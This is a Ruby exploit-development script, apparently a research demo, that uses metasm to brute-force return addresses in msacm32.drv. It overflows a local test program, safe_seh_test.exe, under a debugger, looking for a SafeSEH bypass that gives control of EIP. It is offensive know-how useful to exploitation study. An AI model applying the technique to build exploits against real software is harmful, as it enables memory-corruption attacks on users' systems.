#!/usr/bin/env ruby
# encoding: utf-8
# By 0vercl0k
require 'metasm'
require 'pp'
include Metasm
# ======================================================================================================================
# Original Idea come from @jduck1337 when he exploited the CreateSizedDIBSECTION bug discovered by Moti and Xu Hao
# """
# I used a technique I like to call trigger-fuzzing.
# That is, I repeatedly triggered the vulnerability each address in "msacm32.drv" code segment and monitored the results.
# After less than 512 attempts, I noticed I had a crash with EIP containing the tell-tale Rex::Text pattern.
# """
# Quoted from http://blog.metasploit.com/2011/01/exploiting-seh-overwrites-using-rop.html
# ======================================================================================================================
# A nice occasion to try metasm framework!
# Extraced from mona.py by corelanc0d3r
def pattern_create(max)
char1 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
char2 = 'abcdefghijklmnopqrstuvwxyz'
char3 = '0123456789'
charcnt = 0
pattern = ''
for ch1 in char1.each_char()
for ch2 in char2.each_char()
for ch3 in char3.each_char()
if charcnt < max
pattern += ch1
charcnt += 1
end
if charcnt < max
pattern += ch2
charcnt += 1
end
if charcnt < max
pattern += ch3
charcnt += 1
end
end
end
end
return pattern
end
def pattern_find(pattern, size)
s = pattern_create(size)
if (id = s.index([pattern].pack('I'))) != nil
return id
end
return nil
end
#Dump - msacm32_drv:.text
#Address Hex dump
#0x72C61000 -> 0x72C6370F
#0x72C61000 0x72C6370F
def main(args, argv)
if args != 2
print "Usage: ./#{$0} <addr_start> <addr_end> <payload>\n"
return -1
end
# Retrieve the entrypoint
exe = AutoExe.decode_file('safe_seh_test.exe')
ep = exe.optheader.entrypoint + exe.optheader.image_base
size = 512
start_addr = argv[0].to_i(16)
end_addr = argv[1].to_i(16)
while start_addr <= end_addr
input = 'A' * 532 + [start_addr].pack('I') + pattern_create(size)
print "%s RET@%#.8x (%d / %d) %s\n" % ["-"*8, start_addr, (start_addr - argv[0].to_i(16)), (argv[1].to_i(16) - argv[0].to_i(16)), "-"*8]
print "[*] Debugging the binary..\n"
dbg = OS.current.create_debugger('safe_seh_test.exe "' + input + '"')
# We don't want extra log
dbg.set_log_proc(lambda { |h| })
ep_reached = false
first_exception_passed = false
# Install our exception-probe
dbg.callback_exception = lambda { |h|
if h[:type] == 'access violation' and ep_reached == true
addr_exception = h[:st].ExceptionAddress || 0
mod = dbg.addr2module(addr_exception)
print "[*] Exception Address occurs in: %s (%#.8x)\n" % [ dbg.addrname!(addr_exception), addr_exception ]
# If an exception does not occured in any modules -> the seh handle pivoted somewhere (somewhere that maybe we control)
if first_exception_passed == true
dbg.kill()
else
first_exception_passed = true
dbg.pass_current_exception()
end
# In case of an unknown type of exception occurs, we kill the debuggee (privileged instruction for example)
else
# Be carreful, we use a soft bp to stop the execution to the entrypoint
if h[:type] != 'breakpoint'
dbg.kill()
end
end
}
print "[*] Now, I try to reach the entry_point (%#.8x)..\n" % ep
dbg.go(ep)
ep_reached = true
print "[*] Ok, entry point reached. Now passing all the exceptions to the debuggee..\n"
dbg.run_forever()
print "[*] Final fault at: %s\n" % dbg.addrname!(dbg[:eip])
if (offset = pattern_find(dbg[:eip], size)) != nil
win = "[*]It seems you are allowed to ret in %#.8x, and you can totally control EIP (offset = %d)\n" % [start_addr, offset]
f = File.open("trigger_fuzzing.txt", "ab")
f.puts("-"*16)
f.puts(win)
f.puts(input)
f.close()
print win
end
start_addr += 1
end
return 0
end
if $0 == __FILE__
exit(main(ARGV.size(), ARGV))
end